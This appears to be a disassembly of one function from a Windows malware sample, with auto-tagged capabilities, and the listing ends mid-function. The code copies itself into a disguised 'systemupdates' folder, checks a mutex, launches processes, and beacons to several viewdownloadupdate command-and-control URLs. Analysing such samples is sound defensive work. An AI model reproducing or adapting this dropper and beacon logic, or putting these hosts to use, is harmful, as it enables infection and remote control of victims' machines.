Function at 0x4534c0
Capabilities:
Check mutex on windows
Copy file
Create directory
Create process on windows
Encrypt data using rc4 ksa
Read file on windows
Set current directory
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x2ab4
call fcn.00442bd0
mov al, byte [0x4686b4]
movdqu xmm0, xmmword [str.systemupdates_01]
push ebx
push esi
push edi
mov byte [esp + 0xb0], al
lea eax, [esp + 0xa0]
push eax
push 1
push 0
movdqu xmmword [esp + 0xac], xmm0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x453c40
push 0
call fcn.0043e8c3
push eax
call fcn.0043e01f
push 0x208
lea eax, [esp + 0x67c]
mov dword [0x46af10], 0
push 0
push eax
call fcn.0043f340
add esp, 0x14
xor ebx, ebx
call fcn.00401810
lea esi, [ebx + 5]
nop
call fcn.0043dffe
dec esi
jne 0x453550
call fcn.00455690
push 0x208
cmp eax, 1
lea eax, [esp + 0x36c]
push esi
push eax
jne 0x4537a4
call fcn.0043f340
mov edx, 0x46ad00
add esp, 0xc
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x453583
lea edi, [esp + 0x368]
sub edx, esi
add edi, 0xfffffffe
lea ebx, [ebx]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4535a0
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, str._systemupdates
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x4535c1
lea edi, [esp + 0x368]
sub edx, esi
add edi, 0xfffffffe
jmp 0x4535e0
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4535e0
mov ecx, edx
lea eax, [esp + 0x368]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0x208
lea eax, [esp + 0x164]
push 0
push eax
call fcn.0043f340
lea edx, [esp + 0x374]
add esp, 0xc
mov esi, edx
lea ebx, [ebx]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x453630
lea edi, [esp + 0x160]
sub edx, esi
add edi, 0xfffffffe
jmp 0x453650
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x453650
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, 0x4687e8
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x453671
lea edi, [esp + 0x160]
sub edx, esi
add edi, 0xfffffffe
jmp 0x453690
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x453690
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x160]
call fcn.00455500
test eax, eax
jne 0x453757
push 0x208
push eax
lea eax, [esp + 0x10a0]
push eax
call fcn.0043f340
push 0x208
lea eax, [esp + 0xc98]
push 0
push eax
call fcn.0043f340
add esp, 0x18
lea eax, [esp + 0xc88]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea edx, [esp + 0xc88]
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x453706
lea edi, [esp + 0x1098]
sub edx, esi
add edi, 0xfffffffe
lea ecx, [ecx]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x453720
mov ecx, edx
lea eax, [esp + 0x160]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 1
mov ecx, edx
push eax
and ecx, 3
lea eax, [esp + 0x10a0]
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov ebx, 1
lea edx, [esp + 0x160]
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x453760
lea edi, [esp + 0x670]
sub edx, esi
add edi, 0xfffffffe
jmp 0x453780
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x453780
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x468810
jmp 0x45399f
call fcn.0043f340
push 0x208
lea eax, [esp + 0x10a8]
push 0
push eax
call fcn.0043f340
add esp, 0x18
lea eax, [esp + 0x1098]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea edx, [esp + 0x1098]
mov esi, edx
mov edi, edi
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x4537e0
lea edi, [esp + 0x368]
sub edx, esi
add edi, 0xfffffffe
jmp 0x453800
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x453800
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x368]
or esi, 0xffffffff
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x453827
sub ecx, edx
sar ecx, 1
lea eax, [ecx - 1]
test eax, eax
je 0x453852
lea ecx, [ecx]
cmp word [esp + eax*2 + 0x368], 0x5c
je 0x453850
dec eax
jne 0x453840
jmp 0x453852
mov esi, eax
push 0x208
lea eax, [esp + 0xc8c]
push 0
push eax
call fcn.0043f340
add esp, 0xc
test esi, esi
je 0x453886
mov ecx, esi
lea edi, [esp + 0xc88]
shr ecx, 1
lea esi, [esp + 0x368]
rep movsd dword es:[edi], dword [esi]
adc ecx, ecx
rep movsw word es:[edi], word [esi]
mov esi, 5
jmp 0x453890
call fcn.0043dffe
dec esi
jne 0x453890
push 0x208
lea eax, [esp + 0x164]
push esi
push eax
call fcn.0043f340
lea edx, [esp + 0xc94]
add esp, 0xc
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x4538b7
lea edi, [esp + 0x160]
sub edx, esi
add edi, 0xfffffffe
mov edi, edi
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4538d0
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, str._systemupdates.exe
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x4538f1
lea edi, [esp + 0x160]
sub edx, esi
add edi, 0xfffffffe
jmp 0x453910
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x453910
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x160]
call fcn.00455500
test eax, eax
jne 0x453957
push 1
lea eax, [esp + 0x164]
push eax
lea eax, [esp + 0x370]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov ebx, 1
lea edx, [esp + 0x160]
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x453960
lea edi, [esp + 0x670]
sub edx, esi
add edi, 0xfffffffe
jmp 0x453980
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x453980
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, str.systemupdates
lea edx, [esp + 0x160]
call fcn.00455520
lea ecx, [esp + 0x160]
call fcn.00455310
test ebx, ebx
je 0x453abd
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x670]
push 0x468870
push eax
call fcn.0043d30a
mov esi, eax
add esp, 8
test esi, esi
je 0x453abd
push 2
push 0
push esi
call fcn.0043e701
push esi
call fcn.0043e59a
push 0
mov ebx, eax
push 0
push esi
mov dword [esp + 0x44], ebx
call fcn.0043e701
push ebx
call fcn.0043d278
push esi
push ebx
mov edi, eax
push 1
push edi
mov dword [esp + 0x5c], edi
call fcn.0043df52
push esi
call fcn.0043e84c
lea esi, [ebx - 0x1a]
add esp, 0x34
xor edx, edx
test esi, esi
je 0x453ab4
xor ecx, ecx
jmp 0x453a40
lea eax, [ecx + edx]
mov al, byte [eax + edi]
cmp al, byte [ecx + 0x464ed0]
jne 0x453c4b
inc ecx
cmp ecx, 0x19
jb 0x453a40
cmp edx, 0xffffffff
je 0x453ab4
xor esi, esi
lea ebx, [edx + edi]
lea edi, [esi + 0x1e]
cmp byte [ebx + esi], 0
je 0x453a79
call fcn.0043dffe
cdq
idiv edi
add dl, 0x29
mov byte [ebx + esi], dl
inc esi
cmp esi, 0x19
jb 0x453a65
lea eax, [esp + 0x670]
push 0x468878
push eax
call fcn.0043d30a
mov edi, dword [esp + 0x34]
mov esi, eax
add esp, 8
test esi, esi
je 0x453ab4
push esi
push dword [esp + 0x2c]
push 1
push edi
call fcn.0043e188
push esi
call fcn.0043e84c
add esp, 0x14
push edi
call fcn.0043d200
add esp, 4
push 0x208
lea eax, [esp + 0x14ac]
push 0
push eax
call fcn.0043f340
push 0x208
lea eax, [esp + 0xa90]
push 0
push eax
call fcn.0043f340
add esp, 0x18
lea eax, [esp + 0x14a8]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea edx, [esp + 0x14a8]
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x453b06
lea edi, [esp + 0xa80]
sub edx, esi
add edi, 0xfffffffe
lea ecx, [ecx]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x453b20
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, 7
nop
call fcn.0043dffe
dec esi
jne 0x453b40
lea ecx, [esp + 0x670]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x453b52
sub ecx, edx
sar ecx, 1
dec ecx
je 0x453b72
cmp word [esp + ecx*2 + 0x670], 0x5c
je 0x453b72
dec ecx
jne 0x453b64
mov esi, 7
call fcn.0043dffe
dec esi
jne 0x453b77
mov esi, 5
call fcn.0043dffe
dec esi
jne 0x453b84
lea eax, [esp + 0xa80]
push str.systemupdates.exe
push eax
call fcn.0043da21
add esp, 8
test eax, eax
jne 0x453c59
mov esi, dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x800
lea eax, [esp + 0x1ac4]
push 0
push eax
call fcn.0043f340
lea eax, [esp + 0x67c]
push eax
lea eax, [esp + 0x1ad0]
push 0x4688a4
push eax
call fcn.004558c0
push 0x44
lea eax, [esp + 0xe4]
xorps xmm0, xmm0
push 0
push eax
movdqa xmmword [esp + 0x54], xmm0
call fcn.0043f340
add esp, 0x24
mov dword [esp + 0xc8], 0x44
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0xcc]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x1ae0]
push eax
lea eax, [esp + 0x694]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
inc edx
cmp edx, esi
jb 0x453a35
jmp 0x453ab4
lea ecx, [esp + 0xa80]
or esi, 0xffffffff
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x453c66
sub ecx, edx
sar ecx, 1
dec ecx
je 0x453c92
jmp 0x453c80
cmp word [esp + ecx*2 + 0xa80], 0x5c
je 0x453c90
dec ecx
jne 0x453c80
jmp 0x453c92
mov esi, ecx
push 0x208
lea eax, [esp + 0x12a4]
push 0
push eax
call fcn.0043f340
add esp, 0xc
test esi, esi
je 0x453cc6
mov ecx, esi
lea edi, [esp + 0x12a0]
shr ecx, 1
lea esi, [esp + 0xa80]
rep movsd dword es:[edi], dword [esi]
adc ecx, ecx
rep movsw word es:[edi], word [esi]
mov esi, 7
jmp 0x453cd0
call fcn.0043dffe
dec esi
jne 0x453cd0
lea eax, [esp + 0x12a0]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 0x30
mov dword [0x46af1c], esi
mov dword [0x46af08], esi
mov dword [0x46b128], esi
call fcn.0043d278
push pe_nt_image_headers32
mov edi, eax
call fcn.0043d278
push pe_nt_image_headers32
mov dword [edi], eax
call fcn.0043d278
push pe_nt_image_headers32
mov dword [edi + 4], eax
call fcn.0043d278
push pe_nt_image_headers32
mov dword [edi + 8], eax
call fcn.0043d278
push pe_nt_image_headers32
mov dword [edi + 0xc], eax
call fcn.0043d278
push pe_nt_image_headers32
mov dword [edi + 0x10], eax
call fcn.0043d278
push pe_nt_image_headers32
mov dword [edi + 0x14], eax
call fcn.0043d278
push pe_nt_image_headers32
mov dword [edi + 0x18], eax
call fcn.0043d278
push pe_nt_image_headers32
mov dword [edi + 0x1c], eax
call fcn.0043d278
push pe_nt_image_headers32
mov dword [edi + 0x20], eax
call fcn.0043d278
push pe_nt_image_headers32
mov dword [edi + 0x24], eax
call fcn.0043d278
push pe_nt_image_headers32
mov dword [edi + 0x28], eax
call fcn.0043d278
add esp, 0x34
mov dword [edi + 0x2c], eax
nop
push pe_nt_image_headers32
push 0
push dword [edi + esi*4]
call fcn.0043f340
inc esi
add esp, 0xc
cmp esi, 0xc
jl 0x453da0
mov esi, 7
lea ecx, [ecx]
call fcn.0043dffe
dec esi
jne 0x453dc0
push 0x4688b0
push 0x4688b4
call fcn.0043dd78
mov esi, eax
add esp, 8
test esi, esi
jne 0x453e4e
push 0x4688c0
push 0x4688c4
call fcn.0043dd78
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x453c40
lea esp, [esp]
call fcn.0043dffe
and eax, reloc.WS2_32.dll_getsockopt
jns 0x453e11
dec eax
or eax, 0xfffffff8
inc eax
add al, 0x30
mov byte [esp + esi + 0x30], al
inc esi
cmp esi, 8
jb 0x453e00
push ebx
push 8
lea eax, [esp + 0x38]
push 1
push eax
call fcn.0043e188
push ebx
call fcn.0043e84c
push 0x4688d0
push str.license.txt
call fcn.0043dd78
mov esi, eax
add esp, 0x1c
test esi, esi
je 0x453c40
push 2
push 0
push esi
call fcn.0043e701
push esi
call fcn.0043e59a
push 0
push 0
push esi
mov ebx, eax
call fcn.0043e701
lea ecx, [ebx + 1]
push ecx
call fcn.0043d278
add esp, 0x20
mov dword [0x46af18], eax
push esi
test eax, eax
jne 0x453e93
call fcn.0043e84c
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push 1
push ebx
push eax
call fcn.0043df52
push esi
call fcn.0043e84c
mov eax, dword [0x46af18]
add esp, 0x14
mov byte [ebx + eax], 0
lea eax, [esp + 0x18b8]
push 0x208
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x208
lea eax, [esp + 0x36c]
push 0
push eax
call fcn.0043f340
push 0x208
lea eax, [esp + 0x16c0]
push 0
push eax
call fcn.0043f340
add esp, 0x18
lea eax, [esp + 0x16b0]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea edx, [esp + 0x16b0]
mov esi, edx
lea esp, [esp]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x453f10
lea edi, [esp + 0x368]
sub edx, esi
add edi, 0xfffffffe
jmp 0x453f30
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x453f30
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x368]
or esi, 0xffffffff
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x453f57
sub ecx, edx
sar ecx, 1
dec ecx
je 0x453f82
lea esp, [esp]
cmp word [esp + ecx*2 + 0x368], 0x5c
je 0x453f80
dec ecx
jne 0x453f70
jmp 0x453f82
mov esi, ecx
push 0x208
lea eax, [esp + 0x164]
push 0
push eax
call fcn.0043f340
add esp, 0xc
test esi, esi
je 0x453fb6
mov ecx, esi
lea edi, [esp + 0x160]
shr ecx, 1
lea esi, [esp + 0x368]
rep movsd dword es:[edi], dword [esi]
adc ecx, ecx
rep movsw word es:[edi], word [esi]
push 0x208
lea eax, [esp + 0x87c]
push 0
push eax
call fcn.0043f340
lea edx, [esp + 0x16c]
add esp, 0xc
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x453fd6
lea edi, [esp + 0x878]
sub edx, esi
add edi, 0xfffffffe
lea ecx, [ecx]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x453ff0
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, str.open.exe
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x454011
lea edi, [esp + 0x878]
sub edx, esi
add edi, 0xfffffffe
jmp 0x454030
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x454030
mov ecx, edx
lea eax, [esp + 0xe90]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0x208
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
push eax
call fcn.0043f340
lea edx, [esp + 0x16c]
add esp, 0xc
mov esi, edx
lea ebx, [ebx]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x454070
lea edi, [esp + 0xe90]
sub edx, esi
add edi, 0xfffffffe
jmp 0x454090
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x454090
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, str.lastopen.txt
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x4540b1
lea edi, [esp + 0xe90]
sub edx, esi
add edi, 0xfffffffe
jmp 0x4540d0
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4540d0
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ebx, [ebx]
xorps xmm0, xmm0
mov byte [esp + 0x150], 0
lea eax, [esp + 0x130]
movdqa xmmword [esp + 0x130], xmm0
push 0x468910
xor esi, esi
movdqa xmmword [esp + 0x144], xmm0
push eax
mov dword [esp + 0x24], esi
call fcn.0043d17c
add esp, 8
xor ebx, ebx
mov dword [esp + 0x18], ebx
mov edi, edi
xorps xmm0, xmm0
mov byte [esp + 0x60], 0
lea eax, [esp + 0x878]
movdqa xmmword [esp + 0x40], xmm0
push 0x468934
push eax
movdqa xmmword [esp + 0x58], xmm0
call fcn.0043d30a
mov edi, eax
add esp, 8
test edi, edi
je 0x4542ae
push 2
push 0
push edi
call fcn.0043e701
push edi
call fcn.0043e59a
push 0
push 0
push edi
mov esi, eax
call fcn.0043e701
push esi
call fcn.0043d278
push edi
push esi
mov ebx, eax
push 1
push ebx
call fcn.0043df52
push edi
call fcn.0043e84c
mov edx, esi
mov ecx, ebx
call fcn.00454bd0
mov ecx, dword [0x46ace0]
movzx eax, byte [0x46ace3]
push ecx
push eax
movzx eax, byte [0x46ace2]
push eax
movzx eax, ch
push eax
movzx eax, cl
push eax
lea eax, [esp + 0x88]
push 0x46893c
push eax
call fcn.0043d17c
lea edx, [esp + 0x90]
add esp, 0x50
lea ecx, [edx + 1]
mov edi, edi
mov al, byte [edx]
inc edx
test al, al
jne 0x4541e0
movzx eax, byte [0x46af17]
sub edx, ecx
mov ecx, dword [0x46af14]
push ecx
push eax
movzx eax, byte [0x46af16]
push eax
movzx eax, ch
push eax
movzx eax, cl
push eax
lea eax, [esp + 0x54]
add eax, edx
push 0x468954
push eax
call fcn.0043d17c
lea edx, [esp + 0x5c]
add esp, 0x1c
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x454223
movzx eax, byte [0x46ace7]
sub edx, ecx
mov ecx, dword [0x46ace4]
push ecx
push eax
movzx eax, byte [0x46ace6]
push eax
movzx eax, ch
push eax
movzx eax, cl
push eax
lea eax, [esp + 0x54]
add eax, edx
push 0x46896c
push eax
call fcn.0043d17c
lea edx, [esp + 0x5c]
add esp, 0x1c
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x454266
movzx eax, byte [0x46b12f]
sub edx, ecx
mov ecx, dword [0x46b12c]
push ecx
push eax
movzx eax, byte [0x46b12e]
push eax
movzx eax, ch
push eax
movzx eax, cl
push eax
lea eax, [esp + 0x54]
add eax, edx
push 0x468984
push eax
call fcn.0043d17c
push ebx
call fcn.0043d200
mov esi, dword [esp + 0x3c]
add esp, 0x20
jmp 0x4542e2
lea eax, [esp + 0x40]
push 0x46899c
push eax
call fcn.0043d17c
add esp, 8
cmp ebx, 5
jge 0x4542da
inc ebx
push 0x1388
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x454130
mov dword [esp + 0x18], 0
mov eax, dword [0x46af1c]
test eax, eax
je 0x4542f4
push eax
call fcn.0043d200
add esp, 4
push 3
mov dword [0x46af1c], 0
mov dword [0x46af08], 0
call fcn.00401c60
add esp, 4
call fcn.00401b30
push 0x1388
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push pe_nt_image_headers32
lea eax, [esp + 0x574]
inc esi
push 0
push eax
mov dword [esp + 0x28], esi
call fcn.0043f340
add esp, 0xc
cmp esi, 1
jne 0x45436e
mov edx, 0x4689c0
mov esi, edx
lea esp, [esp]
mov al, byte [edx]
inc edx
test al, al
jne 0x454350
lea edi, [esp + 0x570]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x454361
jmp 0x4543ea
cmp esi, 2
jne 0x45439b
mov edx, str.http:__viewdownloadupdate.info_update10.php
mov esi, edx
lea ebx, [ebx]
mov al, byte [edx]
inc edx
test al, al
jne 0x454380
lea edi, [esp + 0x570]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x454391
jmp 0x4543ea
cmp esi, 3
jne 0x4543c2
mov edx, str.http:__viewdownloadupdate.biz_update10.php
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x4543a7
lea edi, [esp + 0x570]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4543b8
jmp 0x4543ea
mov edx, str.http:__viewdownloadupdate.com_update10.php
mov dword [esp + 0x1c], 0
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x4543d1
lea edi, [esp + 0x570]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4543e2
mov ecx, edx
lea eax, [esp + 0x570]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push eax
mov ecx, edx
and ecx, 3
push 0x2712
rep movsb byte es:[edi], byte [esi]
push ebx
call fcn.00401be0
push 0
push 0x40
push ebx
call fcn.00401be0
push 0
push 0x51
push ebx
call fcn.00401be0
push 0x455710
push 0x4e2b
push ebx
call fcn.00401be0
push 0
push 0x29
push ebx
call fcn.00401be0
push ebx
call fcn.00401bd0
add esp, 0x40
mov dword [esp + 0x28], 0
lea eax, [esp + 0x28]
push eax
push 0x200002
push ebx
call fcn.00401b10
push ebx
call fcn.00401af0
add esp, 0x10
call fcn.00401c10
cmp dword [esp + 0x28], 0xc8
mov esi, dword [esp + 0x1c]
mov ebx, dword [esp + 0x18]
jne 0x454130
cmp dword [0x46af08], 0
jle 0x454130
lea eax, [esp + 0x20]
push eax
call fcn.004557d0
add esp, 4
mov dword [esp + 0x30], eax
test eax, eax
jle 0x454130
xor ebx, ebx
xor esi, esi
xor edi, edi
mov dword [esp + 0x24], ebx
mov dword [esp + 0x14], esi
test eax, eax
jle 0x45459c
lea ebx, [ebx]
test ebx, ebx
jne 0x454524
mov esi, dword [esp + 0x20]
mov esi, dword [esi + edi*4]
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4544d0
sub ecx, edx
lea eax, [ecx + 1]
push eax
call fcn.0043d278
mov edx, esi
mov dword [esp + 0x28], eax
add esp, 4
lea eax, [edx + 1]
mov edi, edi
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x4544f0
sub edx, eax
push edx
push esi
mov esi, dword [esp + 0x2c]
push esi
call fcn.0043f480
mov eax, dword [esp + 0x2c]
add esp, 0xc
mov ecx, dword [eax + edi*4]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x454512
sub ecx, edx
mov byte [ecx + esi], al
mov esi, dword [esp + 0x14]
jmp 0x454581
cmp ebx, 1
jne 0x454581
mov eax, dword [esp + 0x20]
mov esi, dword [eax + edi*4]
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x454535
sub ecx, edx
lea eax, [ecx + 1]
push eax
call fcn.0043d278
mov edx, esi
mov dword [esp + 0x18], eax
add esp, 4
lea eax, [edx + 1]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x454553
sub edx, eax
push edx
push esi
mov esi, dword [esp + 0x1c]
push esi
call fcn.0043f480
mov eax, dword [esp + 0x2c]
add esp, 0xc
mov ecx, dword [eax + edi*4]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x454575
sub ecx, edx
mov byte [ecx + esi], al
mov eax, dword [esp + 0x20]
inc ebx
push dword [eax + edi*4]
call fcn.0043d200
inc edi
add esp, 4
cmp edi, dword [esp + 0x30]
jl 0x4544c0
push dword [esp + 0x20]
call fcn.0043d200
mov ebx, dword [esp + 0x28]
add esp, 4
test ebx, ebx
je 0x4545b7
test esi, esi
jne 0x4545c4
push ebx
jmp 0x4545bc
test esi, esi
je 0x4545c4
push esi
call fcn.0043d200
add esp, 4
mov ecx, ebx
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4545d0
sub ecx, edx
cmp ecx, 0x20
jb 0x4545f1
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4545e3
sub ecx, edx
cmp ecx, 0xc
jae 0x45460b
test ebx, ebx
je 0x4545fe
push ebx
call fcn.0043d200
add esp, 4
test esi, esi
je 0x45460b
push esi
call fcn.0043d200
add esp, 4
mov edi, dword [esp + 0x24]
lea eax, [esp + 0x40]
xor ebx, ebx
mov ecx, edi
mov dword [esp + 0x30], ebx
jmp 0x454620
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x454640
test dl, dl
je 0x45463c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x454640
add eax, 2
add ecx, 2
test dl, dl
jne 0x454620
xor eax, eax
jmp 0x454645
sbb eax, eax
or eax, 1
test eax, eax
je 0x4549e0
mov eax, dword [0x46af1c]
test eax, eax
je 0x45465f
push eax
call fcn.0043d200
add esp, 4
push 3
mov dword [0x46af1c], ebx
mov dword [0x46af08], ebx
call fcn.00401c60
call fcn.00401b30
mov esi, eax
mov eax, dword [esp + 0x18]
push eax
push 0x2712
push esi
call fcn.00401be0
push 0
push 0x40
push esi
call fcn.00401be0
push 0
push 0x51
push esi
call fcn.00401be0
push 0x455710
push 0x4e2b
push esi
call fcn.00401be0
push 0
push 0x29
push esi
call fcn.00401be0
add esp, 0x40
push esi
call fcn.00401bd0
lea eax, [esp + 0x30]
mov dword [esp + 0x30], ebx
push eax
push 0x200002
push esi
call fcn.00401b10
push esi
call fcn.00401af0
add esp, 0x14
call fcn.00401c10
cmp dword [esp + 0x2c], 0xc8
jne 0x4549d6
mov edx, dword [0x46af08]
test edx, edx
jle 0x454b8d
mov ecx, dword [0x46af1c]
xorps xmm0, xmm0
movdqa xmmword [esp + 0x70], xmm0
movdqa xmmword [esp + 0x80], xmm0
mov byte [esp + 0x90], bl
call fcn.00454bd0
mov ecx, dword [0x46ace0]
movzx eax, byte [0x46ace3]
push ecx
push eax
movzx eax, byte [0x46ace2]
push eax
movzx eax, ch
push eax
movzx eax, cl
push eax
lea eax, [esp + 0x84]
push 0x468a70
push eax
call fcn.0043d17c
lea edx, [esp + 0x8c]
add esp, 0x1c
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x454760
movzx eax, byte [0x46af17]
sub edx, ecx
mov ecx, dword [0x46af14]
push ecx
push eax
movzx eax, byte [0x46af16]
push eax
movzx eax, ch
push eax
movzx eax, cl
push eax
lea eax, [esp + 0x84]
add eax, edx
push 0x468a88
push eax
call fcn.0043d17c
lea edx, [esp + 0x8c]
add esp, 0x1c
lea ecx, [edx + 1]
lea esp, [esp]
mov al, byte [edx]
inc edx
test al, al
jne 0x4547b0
movzx eax, byte [0x46ace7]
sub edx, ecx
mov ecx, dword [0x46ace4]
push ecx
push eax
movzx eax, byte [0x46ace6]
push eax
movzx eax, ch
push eax
movzx eax, cl
push eax
lea eax, [esp + 0x84]
add eax, edx
push 0x468aa0
push eax
call fcn.0043d17c
lea edx, [esp + 0x8c]
add esp, 0x1c
lea ecx, [edx + 1]
lea esp, [esp]
mov al, byte [edx]
inc edx
test al, al
jne 0x454800
movzx eax, byte [0x46b12f]
sub edx, ecx
